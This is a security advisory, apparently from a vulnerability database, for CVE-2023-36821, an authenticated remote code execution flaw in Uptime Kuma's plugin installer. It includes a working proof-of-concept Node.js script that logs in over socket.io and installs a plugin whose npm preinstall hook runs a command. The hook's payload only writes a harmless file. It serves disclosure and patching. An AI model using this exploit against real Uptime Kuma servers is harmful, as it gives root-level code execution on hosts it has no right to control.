Uptime Kuma vulnerable to authenticated remote code execution via malicious plugin installation
Summary
Installation of a maliciously crafted plugin allows for remote code execution by an authenticated attacker.
Details
Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.
After downloading a plugin, it's installed by calling npm install in the installation directory of the plugin:
https://github.com/louislam/uptime-kuma/blob/8c60e902e1c76ecbbd1b0423b07ce615341cb850/server/plugins-manager.js#L210-L216
Because the plugin is not validated against the official list of plugins or installed with npm install --ignore-scripts, a maliciously crafted plugin taking advantage of npm scripts can gain remote code execution.
PoC
In the PoC below, the plugin at https://github.com/n-thumann/npm-install-script-poc will be installed. It only consists of an empty index.js and a package.json containing the script: "preinstall": "echo \"Malicious code could have been executed as user $(whoami)\" > /tmp/poc". This will be executed when installing the plugin.
- Start Uptime Kuma:
docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1 - Create a user using the Uptime Kuma web interface, e.g. user
adminwith passwordadmin123 - Confirm that the PoC file to be created doesn't exist yet:
➜ ~ docker exec -it uptime-kuma cat /tmp/poc
cat: /tmp/poc: No such file or directory
- Create file
poc.jswith the following content:
SERVER = "ws://localhost:3001";
USERNAME = "admin";
PASSWORD = "admin123";
const { io } = require("socket.io-client");
const socket = io(SERVER);
const repo = "https://github.com/n-thumann/npm-install-script-poc";
const name = "npm-install-script-poc";
socket.emit(
"login",
{ username: USERNAME, password: PASSWORD, token: "" },
(res) => {
if (res.ok !== true) return console.log("Login failed");
console.log("Login successful");
socket.emit("installPlugin", repo, name, () => {
console.log("Done");
socket.close();
});
}
);
- Install
socket.io-client:npm install socket.io-client - Run the script:
node poc.js:
# node poc.js
Login successful
Done
- The PoC file has been created:
➜ ~ docker exec -it uptime-kuma cat /tmp/poc
Malicious code could have been executed as user root
Impact
This vulnerability allows authenticated attacker to gain remote code execution on the server Uptime Kuma is running on.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | uptime-kuma | < 1.22.1 | 1.22.1 |
References
- https://github.com/louislam/uptime-kuma/security/advisories/GHSA-7grx-f945-mj96
- https://nvd.nist.gov/vuln/detail/CVE-2023-36821
- https://github.com/louislam/uptime-kuma/pull/3346
- https://github.com/louislam/uptime-kuma/commit/a0736e04b2838aae198c2110db244eab6f87757b
- https://github.com/louislam/uptime-kuma
- https://github.com/louislam/uptime-kuma/blob/8c60e902e1c76ecbbd1b0423b07ce615341cb850/server/plugins-manager.js#L210-L216
- https://github.com/louislam/uptime-kuma/releases/tag/1.22.1
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-20- Platform
- npm
- Package
uptime-kuma- Disclosed
- 01.05.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7grx-f945-mj96 - CC BY 4.0
Vulnerability history: uptime-kuma
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 11
- First → latest
- 10.2023 03.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- High 2
- Medium 8
- Low 1
Disclosures per year
- 2023: 4
- 2024: 4
- 2025: 2
- 2026: 1
-
Uptime Kuma vulnerable to authenticated remote code execution via malicious plugin installation this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.